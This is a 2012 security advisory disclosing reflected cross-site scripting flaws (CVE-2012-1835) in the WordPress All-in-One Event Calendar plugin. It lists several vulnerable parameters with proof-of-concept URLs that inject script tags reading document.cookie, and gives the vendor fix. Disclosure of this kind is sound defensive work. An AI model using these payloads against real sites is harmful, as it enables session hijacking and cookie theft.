Multiple XSS vulnerabilities in All-in-One Event Calendar Plugin for WordPress

Advisory ID:HTB23082
Product:All-in-One Event Calendar Plugin for WordPress
Vendor:The Seed Studio
Vulnerable Versions:1.4, 1.5 and probably prior
Tested Version:1.4
Advisory Publication:March 21, 2012 [without technical details]
Vendor Notification:March 21, 2012
Vendor Fix:August 3, 2012
Public Disclosure:April 11, 2012
Latest Update:August 6, 2012
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2012-1835
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in All-in-One Event Calendar Plugin for WordPress, which can be exploited to perform Cross-Site Scripting (XSS) attacks.
1) Cross-Site Scripting (XSS) in All-in-One Event Calendar Plugin for WordPress: CVE-2012-1835
1.1 Input passed via the "title" GET parameter to /wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget-form.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of the affected website.
The following PoC (Proof of Concept) demonstrates the vulnerability:
http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widge t-form.php?title[id]=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script %3E
1.2 Input passed via the "args", "title", "before_title", "after_title" GET parameters to /wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of the affected website.
The following PoC (Proof of Concept) demonstrate the vulnerabilities:
http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widge t.php?args[before_widget]=%3Cscript%3Ealert%28document.cookie%29;%3C/script% 3E
http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widge t.php?title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widge t.php?title=1&before_title=%3Cscript%3Ealert%28document.cookie%29;%3C/script %3E
http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widge t.php?title=1&after_title=%3Cscript%3Ealert%28document.cookie%29;%3C/script% 3E
1.3 Input passed via the "button_value" GET parameter to /wp-content/plugins/all-in-one-event-calendar/app/view/box_publish_button.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of the affected website.
The following PoC (Proof of Concept) demonstrates the vulnerability:
http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/box_publish_ button.php?button_value=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/scr ipt%3E
1.4 Input passed via the "msg" GET parameter to /wp-content/plugins/all-in-one-event-calendar/app/view/save_successful.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in user's browser session in context of the affected website.
The following PoC (Proof of Concept) demonstrates the vulnerability:
http://wp/wp-content/plugins/all-in-one-event-calendar/app/view/save_success ful.php?msg=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Successful exploitation of these vulnerabilities (1.1-1.4) requires that "register_globals" is enabled.

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Solution:
Upgrade to version 1.8.2


References:
[1] High-Tech Bridge Advisory HTB23082 - https://www.immuniweb.com/advisory/HTB23082 - Multiple XSS vulnerabilities in All-in-One Event Calendar Plugin for WordPress.
[2] All-in-One Event Calendar Plugin for WordPress - http://theseednetwork.com/ - An event calendar system with month, week, agenda views, upcoming events widget, color-coded categories, recurrence, and import/export of .ics feeds.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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